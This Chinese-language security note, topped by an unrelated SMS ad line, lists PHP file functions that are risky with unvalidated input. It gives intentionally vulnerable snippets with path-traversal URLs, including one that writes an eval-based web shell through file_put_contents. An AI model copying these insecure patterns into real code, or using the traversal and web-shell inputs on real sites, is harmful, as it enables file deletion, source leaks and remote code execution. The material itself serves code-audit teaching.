通知短信+运营短信,5秒速达,支持群发助手一键发送🚀高效触达和通知客户 广告
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可 能成为高危漏洞 常见函数 : copy、rmdir、unlink、delete、fwrite、 chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents 、fread、readfile、ftruncate、 file_put_contents、fputcsv、fputs fopen 增加 删除 编写 修改 unlink ``` //test.php?f=../../demo.php $file=$_GET['f']; if (is_file($f)) { unlink($f); } ``` file_get_contents ``` //test.php?f=../../demo.php $file=$_GET['f']; echo file_get_contents($file); //不会输出但是在浏览器查看源代码可以查看demo.php的源代码 ``` readfile ``` //test.php?f=../../demo.php $file=$_GET['f']; echo readfile($file); //输出demo的长度不会输出内容但是在浏览器查看源代码可以查看demo.php的源代码 ``` file_put_contents ``` //test.php?f=../../demo.php&text=<?php eval($_POST['CMD'])?> $file=$_GET['f']; $text=$_GET['text']; file_put_contents($file,$text); ``` copy ``` //test.php?f=../../demo.php&text=demo2.php $file=$_GET['f']; $text=$_GET['text']; copy($file,$text); ``` ``` //test.php?f=../../demo.php $file=$_GET['f']; fwrite(fopen($file,'a+'),'<?php phpinfo();?>'); ```